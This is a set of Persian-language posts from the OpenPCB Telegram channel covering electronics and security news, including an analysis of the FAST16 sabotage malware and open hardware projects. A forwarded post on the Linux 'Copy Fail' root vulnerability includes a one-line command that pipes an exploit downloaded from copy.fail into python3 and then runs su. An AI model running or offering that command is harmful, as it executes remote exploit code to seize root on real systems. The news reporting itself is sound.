OpenPCB
3.31K subscribers
213 photos
17 videos
32 files
142 links
ارتباط با ادمین
@sajadghorbani
Download Telegram
طنز تلخ ماجرا اینجاست که مدیرعامل انجمن نرم‌افزارهای آزاد و متن‌باز، یعنی کسی که ماهیتا باید مدافع جریان آزاد اطلاعات، شفافیت و دسترسی بدون محدودیت به تکنولوژی و اینترنت باشه، نه کسی که تئوری توطئه انفجار گوشی و اینترنت‌هراسی رو پمپاژ می‌کنه. طرف به جای اینکه روی ممیزی امنیتی پروژه‌های اپن‌سورس، توسعه زیرساخت‌های غیرمتمرکز و ارتباط با کامیونیتی جهانی تمرکز کنه، داره دقیقا ادبیات نهادهای امنیتی رو برای توجیه فیلترینگ و قطع اینترنت میلیون‌ها نفر و ایزوله کردن شبکه تکرار می‌کنه.
وقتی بالاترین مقام کامیونیتی FOSS تو یک کشور الفبای تکنولوژی و امنیت سایبری رو فدای پروپاگاندا می‌کنه و نت جهانی رو صرفا ابزار کشتار می‌بینه، عمق فاجعه و دلیل عقب‌موندگی زیرساخت‌های نرم‌افزاری و مرگ تدریجی اکوسیستم تک کشور کاملا مشخص میشه.
1👍62💩11🥱2
محقق‌های SentinelLABS یه بدافزار خیلی قدیمی و عجیب به اسم FAST16 رو پیدا کردن که دیپلوی اون برمی‌گرده به سال ۲۰۰۵، یعنی دقیقا پنج سال قبل از استاکس‌نت، و عملا اولین عملیات خرابکارانه نرم‌افزاری با دقت بالا تو تاریخ حملات سایبری به حساب میاد.

معماری این بدافزار دو تا کامپوننت اصلی داره، اولی یه Carrier به اسم svcmgmt.exe هست که یه ماشین مجازی Lua رو تو خودش امبد کرده و مثل یه کرم از طریق شبکه و سرویس‌های ویندوز بین سیستم‌های شبکه پخش میشه، فایل‌ها رو کپی می‌کنه و اسکریپت‌های Lua رو ران می‌کنه. بخش دوم یه Kernel Driver به اسم fast16.sys هست که تو سطح کرنل ویندوزهای ۲۰۰۰ و XP میشینه و مستقیما کد اجرایی نرم‌افزار هدف رو تو حافظه دستکاری می‌کنه. مکانیزمش اینطوریه که فقط دنبال باینری‌هایی می‌گرده که با کامپایلر Intel C/C++ بیلد شده باشن و اینو از روی اسم فایل و یه استرینگ خاص تو هدر PE چک می‌کنه. وقتی نرم‌افزار هدف اجرا میشه، درایور با استفاده از ۱۰۱ تا قانون خاص، سکشن‌های xdata. و pdata. رو دستکاری می‌کنه و دستورات FPU رو تغییر می‌ده تا محاسبات floating-point رو نامحسوس خراب کنه.

این یعنی تو برنامه‌هایی مثل شبیه‌سازی‌های فیزیک، مهندسی عمران، رمزنگاری یا تحقیقات هسته‌ای(که انگار هدف اصلی همین بوده)، نتایج محاسبات به صورت سیستماتیک دستکاری و تحریف می‌شن‌، بدون اینکه برنامه کرش کنه یا یوزر متوجه اشتباه بودن و غیر طبیعی بودن نتایج بشه، که خیلی با رویکرد استاکس‌نت که مستقیما PLC ها رو هدف قرار می‌داد، فرق داره.

از اهداف احتمالی که تحلیل شدن میشه به نرم‌افزار‌های LS-DYNA 970 برای شبیه‌سازی انفجار که تو برنامه آماد ایران کاربرد داشته، PKPM برای مهندسی سازه تو چین و MOHID برای مدل‌سازی هیدرودینامیک اشاره کرد.

لینک شدن این بدافزار به NSA و Shadow Brokers از اونجا میاد که اسم fast16 دقیقا تو لیست درایورهای لیک شده سال ۲۰۱۷ تحت عنوان drv_list.txt وجود داشت و جلوش به عنوان یه deconfliction signature نوشته شده بود که کاری بهش نداشته باشین تا اپراتورهای خودی باهاش تداخل پیدا نکنن، و مچ شدن PDB path تو خود بدافزار هم این ارتباط رو کاملا تایید می‌کنه.

از نظر تاریخی این بدافزار که تقریبا کشف‌نشده مونده بود نشون میده که از اواسط دهه ۲۰۰۰، یه سازمان دولتی تو لول NSA این قابلیت رو داشته که محاسبات پیچیده و حساس علمی و هسته‌ای کشورهای دیگه رو در خفا و کاملا بی‌سر‌وصدا دستکاری و خراب کنه.

مقاله اصلی رو میتونید اینجا بخونید.

📡openpcb
23🤯37👍129
Forwarded from TechTube 𝕏 تک توب
محقق شرکت امنیتی Theori با کمک پلتفرم تست نفوذ با هوش مصنوعی Xint موفق شده حفره امنیتی خطرناکی در هسته لینوکس رو کشف کنه که به هر فایل اجرایی امکان گرفتن دسترسی روت روی تقریبا هر توزیع لینوکسی رو فراهم میکنه!

این حفره موسوم به Copy Fail با کد CVE-2026-31431 به دلیل باگی در سیستم کش فایل هسته لینوکس به وجود اومده که با دستکاری باینری کش شده setuid-root میتونه دسترسی روت دریافت کنه و کل سیستم رو کنترل کنه و مخفی بمونه. حتی در برخی حالات امکان دسترسی به هاست از داخل یک کانتینرها هم میتونه ممکن باشه!

این باگ تقریبا روی هر توزیعی که از هسته لینوکسِ عرضه شده از سال 2017 تاکنون استفاده میکنه، قابل اجرا هست و روی توزیعهایی مثل Ubuntu، SUSE، RHEL و غیره تست شده.

برای استفاده از اون فقط کافیه یک فایل 732 بایتی پایتون رو اجرا کرد تا در کسری از ثانیه روی سیستمی با یوزر عادی، دسترسی روت بگیره. کدهای اون هم با بقیه زبانها از جمله Go هم پیاده سازی شدن. برای تست راحت اون (که نیاز به اینترنت برای دریافت کدها داره) میتونید از دستور زیر استفاده کنید:
curl https://copy.fail/exp | python3 && su


در حال حاضر این باگ در اپدیت جدید هسته لینوکس اصلاح شده ولی فقط توزیعهای مبتنی بر ارچ این اپدیت رو اعمال کردن و توزیعهای دیگه از جمله اوبونتو، دبیان و فدورا همچنان در حال رفع این باگ هستن.

🔎 xint

📍 @TechTube
🔥10💩2🤯1
This media is not supported in your browser
VIEW IN TELEGRAM
ایده ارزون و خلاقانه به جای روتاری انکودر‌های مطلق برای پروژه‌های آماتوری. از یه آرایه سنسور هال افکت و دوتا مگنت استفاده کرده جای روش‌هایی گرون و کمیاب.
منبع
📡openpcb
14
این برگه یه یاداشت مهندسی خیلی قدیمی و دست‌نویس از شرکت آتاریه که تاریخش برمی‌گرده به ۱۶ فوریه ۱۹۷۸، یعنی دقیقا قبل از عرضه کامپیوترهای ۸-بیتی، و عملا یکی از اولین طراحی‌های سخت‌افزاری پردازنده‌های Video Coprocessor تو تاریخ کامپیوتر به حساب میاد.

معماری این بخش از تراشه که بهش ANTIC می‌گفتن دو تا کامپوننت اصلی داره. اولی یه State Machine هست که از بلوک‌های G0 تا G7 تشکیل شده و فیدبک‌های ورودیش با یه سری گیت منطقی AND/OR کنترل می‌شه تا تایمینگ رو مدیریت کنه.
بخش دوم یه ماتریس PLA (Programmable Logic Array) هست که تو سطح پایین سخت‌افزار می‌شینه و مستقیما دیکود کردن دستورالعمل‌ها رو انجام می‌ده. مکانیزمش این‌طوریه که سیگنال‌های ورودی مثل FIRST LINE یا CHARACTER رو می‌گیره و تو گره‌های برنامه‌ریزی شده ماتریس، سیگنال‌های کنترلی خروجی رو می‌سازه. این سیگنال‌ها عملیات پایه‌ای سخت‌افزار رو کنترل می‌کنن، مثلا دیتا رو می‌فرستن رو باس آدرس مموری یا مسیر دیتای رَم رو مشخص می‌کنن.

این یعنی تو سخت‌افزارهای اون زمان که محدودیت شدید منابع داشتن، به جای اینکه پردازنده اصلی درگیر گرافیک بشه، این لاجیک به صورت سیستماتیک تو پس‌زمینه، پردازش دیتا و رندر تصویر رو مدیریت می‌کرده، بدون اینکه پردازنده زیر بار بره یا یوزر متوجه افت پرفورمنس سیستم بشه، که خیلی با رویکرد سیستم‌های اولیه که همه بار رو دوش یه CPU بود، فرق داره.

امضای Joe Decuir (یکی از طراح‌های کلیدی آتاری) پایین سند وجود داره و جالب اینکه بالای صفحه First Cut نوشته شده که یعنی مدار هنوز مینیمایز نشده (Not Minimal) تا مهندس‌های خودی بعدا برای کاهش سطح سیلیکون بهینه‌سازیش کنن.

از نظر تاریخی این برگه نشون می‌ده که از اواخر دهه ۷۰، یه تیم مهندسی تو لول آتاری این قابلیت رو داشته که لاجیک‌های گرافیکی رو روی کاغذ و کاملا دستی طراحی و معماری کنه.

سند اصلی رو می‌تونید تو این لینک پیدا کنید.

📡openpcb
👍34🔥149
This media is not supported in your browser
VIEW IN TELEGRAM
گوگل برد جدیدی از سری Coral معرفی کرده که قراره همین تابستون عرضه بشه و عملاً اولین پیاده‌سازی سخت‌افزاری از هسته متن‌باز Coral NPU تو تاریخ تجهیزات هوشمند Edge AI به حساب میاد.
معماری این برد از دو بخش اصلی تشکیل شده. بخش اول یه SoC به اسم Synaptics Astra SL2619 هست که با لینوکس Yocto بوت می‌شه و مثل یه هاب پردازشی، دیتای سنسورها و دوربین رو دریافت و مدیریت می‌کنه.بخش دوم یه شتاب‌دهنده عصبی به اسم Torq NPU هست که تو سطح سیلیکون می‌شینه و مستقیماً محاسبات مدل‌های هوش مصنوعی رو تو حافظه انجام می‌ده.
این یعنی تو اپلیکیشن‌هایی مثل گجت‌های پوشیدنی، خانه‌های هوشمند، سنسورهای بیومتریک یا سیستم‌های صوتی (که انگار هدف اصلی همین بوده)، پردازش هوش مصنوعی کاملاً آفلاین انجام می‌شه، بدون اینکه انرژی هدر بره یا سیستم درگیر باتل‌نک شبکه و تأخیر کلاد بشه.
این رویکرد خیلی با روش‌هایی پیشین که مستقیماً به سرورهای ابری وابسته‌ان فرق داره. به نظر می‌رسه یکی از اهداف احتمالی‌ این برد اجرای محلی مدل زبانی Gemma 3 برای دستیار صوتی باشه.

معماری این برد به اکوسیستم‌های حساس به مسائل امنیتی اجازه می‌ده که مکانیزم قرنطینه دیتای حساس (با پشتیبانی از CHERI) دقیقاً تو معماری سخت‌افزاری این NPU تعبیه بشه و به عنوان یه سندباکس جلوی دسترسی قرار بگیره تا دیتای شخصی کاربر با بقیه بخش‌ها تداخل پیدا نکنه.
مچ شدن این برد با استانداردهای Privacy-first گوگل هم این ارتباط رو کاملاً تأیید می‌کنه.

اطلاعات بیشتر رو میتونید تو صفحه معرفی این محصول تو سایت توسعه‌دهندگان گوگل بخونید.

📡openpcb
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥5👍3
تیمی از محققان دانشگاه‌های هریوت-وات و پاتراس، سیستمی به اسم NoLoRa رو توسعه دادن که پکت‌های استاندارد LoRaWAN رو بدون نیاز به هیچ‌گونه آی‌سی ترنسیور رادیویی اکتیو ارسال می‌کنه.

کاری که این تیم انجام داده اینه که کلاک باس‌های دیجیتال SPI یا I2S روی یک میکروکنترلر کم‌مصرف مثل nRF52833 رو روی ۱۶ مگاهرتز تنظیم کردن تا از هارمونیک بیست و هفتم این موج مربعی، یک فرکانس ۴۳۲ مگاهرتزی تو باند ISM استخراج کنن و با استفاده از کنترلر DMA و تغییر پوینترهای حافظه، مدولاسیون CSS رو پیاده‌سازی کنن اینطوری در طول ارسال، CPU به طور کامل تو حالت deep sleep باقی بمونه. دلیل اصلی این رویکرد، حذف کامل توان مصرفی بالای بخش رادیویی و کاهش هزینه‌های سخت‌افزاری بوده تا بتونن بر محدودیت‌های توان تو دیوایس‌های متکی به باطری غلبه کنن.

این معماری با رسوندن میانگین جریان مصرفی کل سیستم به ۲۷ میکروآمپر روی duty cycle یک درصد و ولتاژ ۳ ولت، به درد پیاده‌سازی نودهای IoT کاملاً بدون سخت‌افزار اضافه رادیوی می‌خوره و تو تست‌های میدانی برد ۱۱۰ متری رو با یک آنتن سیمی ساده جواب داده.



اصل مقاله رو می‌تونید تو این لینک بخونید.

📡openpcb
30🔥13👏4
شرکت چینی Link Micro داره کلون‌های ارزونی از ADCهای (مبدل‌های آنالوگ به دیجیتال) پرسرعت و گرون‌قیمت شرکت Analog Devices تولید می‌کنه که روی LCSC هم به فروش می‌رسن. برای پارت‌نامبر قطعات هم دقیقا از اسم چیپ اصلی استفاده می‌کنن و فقط یه پیشوند LK به اولش اضافه می‌کنن، اما قیمت رو به یک‌دهم نمونه اوریجینال کاهش دادن. احتمالا فشار تحریم‌های آمریکا باعث شده این چیپ‌ها رو در ابتدا برای تامین نیاز داخلی مهندسی معکوس و تولید کنن و حالا دارن مازاد تولید رو تو بازار جهانی هم عرضه می‌کنن.

📡openpcb
🔥31💩8🥰2
معمولاً برای کپچر کردن تصویر نمایشگرهای کوچک LCD که تو پروژه‌های امبدد با رابط SPI یا I2C کار می‌کنن، به ابزارهای دیباگ گرون‌قیمت و دردسر دیکود کردن دیتا نیاز دارید. ولی خب یه توسعه‌دهنده ابزاری به اسم LcdTap توسعه داده که دستورات کنترلر LCD رو مستقیماً می‌خونه، تصویر رو بازسازی می‌کنه و فریم‌بافر رو به صورت یک سیگنال DVI-D خروجی می‌ده. این ابزار بر پایه بردهای ارزونی مثل Raspberry Pi Pico 2 توسعه داده شده که تو بازار با قیمتی حدود ۵ دلار پیدا می‌شه.
این ابزار با استفاده از توان پردازشی RP2350 و پروژه‌ی Pico-DVI می‌تونه رزولوشن‌هایی تا 480x320 رو به راحتی هندل کنه و از فرمت‌های پیکسلی مختلفی مثل RGB565 و مونوکروم پشتیبانی می‌کنه.
علاوه بر این، داخل این پروژه امکاناتی مثل منوی OSD برای کانفیگ در زمان اجرا، رابط سریال USB CDC برای تنظیم از راه دور و قابلیت دامپ کردن کامندها وجود داره. فقط نیازه که برد پیکو رو فلش کنید و پایه‌ها رو به باس نمایشگر تارگت (و کانکتور DVI) مونتاژ کنید. اینطوری می‌تونید دیتای باس دیوایس‌هایی با کنترلرهای معروفی مثل ST7789 ،ILI9341 یا SSD1306 رو بخونید و کاری که می‌خوایید رو روی مانیتور انجام بدید.

کاربرد اصلی این ابزار تو توسعه سخت‌افزار و مهندسی معکوسه. با اسنیف کردن باس (SPI/I2C) می‌شه کامندها و دیتای ارسالی MCU رو تو بردهای کلوزسورس دیکود کرد. برای اتوماسیون خط تولید و ساخت Test Jig هم به جای استفاده از دوربین و بینایی ماشین، می‌شه وضعیت UI رو با خوندن مستقیم فریم‌بافر ولیدیت کرد. موقع توسعه درایورهای سطح پایین، این ابزار عیب‌یابی تنظیمات رجیسترها و فرمت‌های رنگی رو خیلی راحت‌تر می‌کنه. علاوه بر این، برای مستندسازی فلوهای UI مثل منوی بوت‌لودر یا OTA یه کپچر دیجیتال تمیز می‌ده و تو پروژه‌های مادینگ هم اجازه می‌ده تصویر دیوایس‌های کوچیک رو بدون دستکاری فریم‌ور، مستقیم روی مانیتورهای DVI/HDMI خروجی بگیرید.

ریپوی این پروژه رو تو لینک زیر می‌تونید ببینید.
https://github.com/shapoco/lcdtap


📡openpcb
👍21🔥83
Forwarded from TechTube 𝕏 تک توب
This media is not supported in your browser
VIEW IN TELEGRAM
یک برنامه نویس ابزار جالبی ساخته که به دارندگان دسته بازی محبوب Steam Controller امکان تبدیل کردن اون به یک ماشین کنترلی رو میده!

این ابزار با استفاده از استاندارد WebHID در مرورگرهای مبتنی بر کرومیوم در مرورگر اجرا میشه و بدون نیاز به نصب نرم افزار اضافه، موتورهای لرزشی دسته استیم کنترلر رو تحت کنترل میگیره و به کاربر امکان حرکت دادن اون به سمت دلخواهشون مثل یک ماشین کنترلی رو فراهم میکنه!

🔎 tomshardware

📍 @TechTube
🔥25😁132
آی‌بی‌ام به تازگی گره پردازشی 0.7 نانومتری خودش رو با معماری جدیدی به اسم 3D NanoStack معرفی کرده که اولین تکنولوژی لاجیک CMOS زیر ۱ نانومتر تو دنیا به حساب میاد.

تو این طراحی، IBM مسیر ترانزیستورهای بعد از معماری GAA رو با استفاده از ساختار CFET تغییر داده و ترانزیستورهای نانوشیت رو به صورت عمودی روی هم استک کرده. نکته کلیدی مهندسی این پروژه اینه که برای بهینه‌سازی پرفورمنس، ترانزیستورهای NMOS و PMOS روی ویفرهای جداگانه‌ای پروسس می‌شن که در صفحات کریستالی متفاوتی برش خوردن و در نهایت با یه تکنولوژی اختصاصی Device-scale Wafer Bonding به هم متصل می‌شن.

این معماری چگالی خیره‌کننده ۶۶۶ میلیون ترانزیستور در هر میلی‌متر مربع رو فراهم می‌کنه، یعنی می‌شه نزدیک ۱۰۰ میلیارد ترانزیستور رو روی یه چیپ به اندازه ناخن جا داد. طبق داده‌های IBM، این نود در مقایسه با گره ۲ نانومتری قبلیشون، تا ۵۰ درصد پرفورمنس بالاتر یا ۷۰ درصد مصرف انرژی کمتری داره و اسکیلینگ ۵۰ درصدی برای لاجیک و ۴۰ درصدی برای SRAM ایجاد می‌کنه. این کاهش ابعاد چشمگیر SRAM مخصوصاً برای پردازش‌های سنگین هوش مصنوعی که همیشه درگیر گلوگاه حافظه هستن به شدت ارزشمنده.

البته این معرفی فعلاً در حد یه پروتوتایپ آزمایشگاهی موفق تو مرکز تحقیقات آلبانیه و با یه پروسه تولید انبوه فاصله داره. با توجه به چالش‌های راه‌اندازی خطوط و فرآیند لایسنس کردن این پترن‌ها برای فاندری‌هایی مثل TSMC، رسیدن این معماری به سیلیکون تجاری احتمالاً حداقل تا سال‌های ۲۰۳۰ یا ۲۰۳۱ زمان می‌بره.


📡openpcb
🔥318
This media is not supported in your browser
VIEW IN TELEGRAM
یک تیم مهندسی به سرپرستی Yong Lin Kong از دانشگاه رایس دستگاهی به اسم Meta-NFS توسعه دادند که از امواج مایکروویو متمرکز برای پرینت سه‌بعدی استفاده می‌کنه. این سیستم انرژی مایکروویو رو در ناحیه‌ای به قطر ۱۵۰ میکرومتر متمرکز می‌کنه تا جوهر الکترونیکی پرینت‌شده گرم و فعال بشه، در حالی که بافت حساس زیرین کاملاً خنک می‌مونه و آسیبی نمی‌بینه. با این تکنیک تونستن مدارهای الکترونیکی و سنسورهای بی‌سیم رو مستقیماً روی یک برگ زنده، استخوان و پلیمرهای زیستی پرینت کنند.

کاربردهای این تکنیک می‌تونه شامل کشاورزی دقیق باشه که تو اون سنسورهای امپدانس و تگ‌های RFID مستقیماً روی برگ گیاه پرینت میشن تا بدون ایجاد وزن اضافه یا تنش مکانیکی، میزان تنش آبی، تعرق و فیزیولوژی گیاه رو به‌طور بی‌درنگ مانیتور کنن. تو حوزه بیوالکترونیک و ایمپلنت‌ها هم میشه الکترودها و مدارهای رسانا رو مستقیم روی بافت‌های زنده مثل پوست یا استخوان چاپ کرد، چون به خاطر تمرکز انرژی تو مقیاس زیرطول‌موج، بافت زیرین کاملاً هم‌دما با محیط می‌مونه و دچار نکروز حرارتی نمیشه.

از طرفی این روش امکان چاپ مدارهای منعطف رو روی پلیمرهای با نقطه ذوب پایین و هیدروژل‌ها فراهم می‌کنه که تو روش‌های سنتی سینترینگ مبتنی بر کوره از بین میرن. این تکنولوژی حتی پتانسیل بالایی برای استفاده داخل بدن و پرینت مستقیم سنسورها یا مدارهای تحریک عصبی در طول جراحی داره.

اصل مقاله رو میتونید تو این لینک بخونید.

📡openpcb
27👍7🤯7
یه طراح الکترونیک یه کارت‌ریدر microSD با رابط USB 3.0 که قابلیت سوییچ کردن کارت حافظه داره رو برای SBCها ساخته.

هدف اصلی طراح، ساخت سخت‌افزاری بوده که بتونه به‌صورت خودکار و از طریق دستورات نرم‌افزاری، ایمیج‌های سیستم‌عامل رو روی رزبری‌پای لود و تست کنه. اکثر طرح‌های موجود برای این کار از استاندارد قدیمی و کند USB 2.0 استفاده می‌کنن، اما این برد از کنترلر GL3224 استفاده می‌کنه تا سرعت انتقال دیتا رو به ۱۰۰ مگابایت بر ثانیه برسونه.

علاوه بر بخش ریدر، این برد یه رابط USB به UART و چند پین GPIO هم داره تا بشه رزبری‌پای و یا بقیه SBCها رو از راه دور خاموش و روشن و لاگش رو بررسی کرد. هدف طراح دادن دسترسی کامل به اینجت‌هایllm با حذف موانع فیزیکی بوده.

نکته هوشمندانه طراحی اینه که چون کانکتورهای USB 3.0 هم‌زمان سیگنال‌های USB 3.0 و USB 2.0 رو دارن، طراح از این ویژگی استفاده کرده تا کنترلر GL3224 و مبدل USB به GPIO (چیپ MCP2221A) رو بدون نیاز به هاب USB، مستقیم به سیستم متصل کنه.

میشه گفت این پروژه بهترین ابزار اتوماسیون تست و توسعه سیستم‌عامل روی بردهای SBCعه می‌تونه خیلی برای امبدد لینوکس دولوپرها جذاب باشه. تمام فایل‌های لازم برای ساخت، شامل گربر، BOM و سورس‌کدها رو تو این ریپو می‌تونید پیدا کنید.

📡openpcb
👍24🔥43
This media is not supported in your browser
VIEW IN TELEGRAM
یه یوتوبر به اسم Bitluni یه پروژه باحال و پر‌خرج استارت زده و یه GPU یا کلاستر دست‌ساز با ۸۱۹۲ تا پردازنده RISC-V ساخته. ایده اصلیش این بوده که برای هر پیکسل یه میکروکنترلر اختصاص بده تا عملاً بتونه خروجی رزولوشن QVGA بگیره، که تو این فاز تونسته بخشی از این معماری عظیم رو پیاده‌سازی کنه.

معماری این بردها که بهشون Blade می‌گه، روی چیپ‌های به شدت ارزون ۱۳ سنتی CH570 از شرکت WCH بنا شده. این میکروها روی ۱۰۰ مگاهرتز کلاک می‌خورن و هر کدومشون مستقیماً به یه RGB LED متصل شدن تا نقش یه پیکسل هوشمند رو بازی کنن.

چالش اصلی تو این اسکیل به توزیع توان و روتینگ دیتا برمی‌گرده. تصور کنید تامین توان کل کلاستر نزدیک به ۲ کیلووات انرژی نیاز داره و برای همین طراح مجبور شده بردها رو ۶ لایه طراحی کنه و سیگنال‌های پرسرعت SPI رو بین لایه‌های گراند ساندویچ کنه تا جلوی کراس‌تاک و تداخل الکترومغناطیسی رو بگیره.

ایشون برای پروگرام کردن این حجم از چیپ هم ابتکار جالبی زده، اومده پرینتر سه‌بعدیش رو با یه بازوی Pogo-pin مودیفای کرده و یه اسکریپت پایتون نوشته که هِد پرینتر رو مختصات به مختصات جابه‌جا می‌کنه و فریم‌ور رو از طریق OpenOCD روی دونه‌دونه میکروها فلش می‌کنه.

این پروژه بیشتر جنبه فان و سرگرمی داره و نهایتاً بتونه تو شبیه‌سازی‌های سلولی و ریاضی ساده یا موارد آموزشی مورد استفاده قرار بگیره.

ویدئو کامل این پروژه رو می‌تونید تو این لینک ببینید.


📡openpcb
25🔥4👍1
شرکت OpenTools اخیراً پروژه‌ای به اسم OpenPrinter معرفی کرده که عملاً یه پرینتر کاملاً اوپن‌سورس و تعمیرپذیره و هدفش حذف انحصار و هزینه‌های مسخره قطعات مصرفی پرینترهای تجاریه.

معماری سخت‌افزاری این پرینتر دو تا بخش داره. برد اصلی یه Raspberry Pi Zero Wعه که با یه پلتفرم CUPS بوت می‌شه و مثل یه سرور چاپ محلی، درخواست‌های شبکه رو از طریق وای‌فای، بلوتوث یا پورت USB هندل می‌کنه. بخش دوم یه برد درایور مبتنی بر میکروکنترلر STM32 هست که تو سطح پایین سخت‌افزار می‌شینه و مستقیماً تایمینگ و دیتای هد کارتریج‌ها رو کنترل می‌کنه.

چیزی که این سیستم رو متمایز می‌کنه حذف کامل چیپ‌های DRM و محدودیت‌های نرم‌افزاریه. این یعنی برخلاف مدل‌های تجاری، کاربر می‌تونه کارتریج‌های استاندارد HP که تو بازار ریخته رو بدون هیچ قفلی بی‌نهایت بار به صورت دستی شارژ کنه. حتی فرم‌ویر طوری نوشته شده که اجازه می‌ده فقط با یه کارتریج (فقط مشکی یا فقط رنگی) عملیات چاپ رو انجام بدید و کل سیستم رو به خاطر خالی بودن یه رنگ لاک نمی‌کنه.

برای مکانیزم فید کاغذ هم علاوه بر پشتیبانی از شیت‌های A4 و A3، یه فیدر رول و کاتر داخلی تعبیه شده که امکان چاپ بنر با طول دلخواه رو می‌ده. تمام قطعات پلاستیکی و مکانیکی این دستگاه رو می‌شه به راحتی با پرینتر سه‌بعدی پرینت کرد و فایل‌های سورس پروژه هم قراره تحت لایسنس CC BY-NC-SA 4.0 منتشر بشن تا کلاً وابستگی به کمپانی سازنده برای تامین قطعه یدکی از بین بره.

اطلاعات بیشتر و مشخصات فنی رو می‌تونید تو سایت خودشون ببینید.


📡openpcb
51🔥9👍3
یه توسعه‌دهنده پروژه‌ای به اسم ESP32-Bit-Pirate توسعه داده که عملا یه فریم‌ور متن‌بازه و میکروکنترلرهای ESP32-S3 رو به یه ابزار همه‌کاره برای هک سخت‌افزار و تحلیل پروتکل‌های مختلف تبدیل می‌کنه.

ایده اصلی این پروژه از ابزار معروف Bus Pirate الهام گرفته شده، اما این بار با امکانات وایرلس و خیلی مدرن‌تر. این فریم‌ور از پروتکل‌های ارتباطی مثل I2C, SPI, UART, 1-Wire و CAN پشتیبانی می‌کنه و حتی پا رو فراتر گذاشته و شبکه‌های رادیویی مثل بلوتوث، وای‌فای، Sub-GHz و RFID رو هم هندل می‌کنه.

باهاش می‌تونید عملیاتی مثل اسنیف کردن پکت‌ها، خوندن و نوشتن دیتا روی EEPROM و فلش، یا حتی دیباگ کردن سیگنال‌های رادیویی رو خیلی راحت انجام بدید.

یکی از جذاب‌ترین بخش‌های این پروژه، رابط کاربریشه. شما می‌تونید از طریق خط فرمان روی پورت سریال به برد وصل بشید، یا اینکه بدون هیچ کابلی، با اتصال وای‌فای و یه مرورگر وب، کنترل کامل سخت‌افزار رو دست بگیرید. حتی برای گجت‌هایی مثل M5 Cardputer یه حالت Standalone طراحی شده که بشه بدون نیاز به کامپیوتر و فقط با کیبورد و مانیتور خود دیوایس، تسک‌ها رو پیش ببرید.

این پروژه از اسکریپت‌نویسی با پایتون هم پشتیبانی می‌کنه که برای اتومیشن و لاگ‌گیری دیتا کاربردیه.
برای نصبش هیچ نیازی به نصب تول‌چین یا کامپایل کردن کدها ندارید، چون توسعه‌دهنده یه Web Flasher آماده کرده که مستقیم روی مرورگر، فریم‌ور رو روی بردهای محبوبی مثل خانواده M5Stack یا LilyGO فلش می‌کنه.

این ابزار برای توسعه سخت‌افزار، مهندسی معکوس و تست نفوذ دیوایس‌های IoT یه گزینه کاربردی به حساب میاد.
ریپوی این پروژه رو تو این لینک‌ می‌تونید ببینید.


📡openpcb
🔥296👍2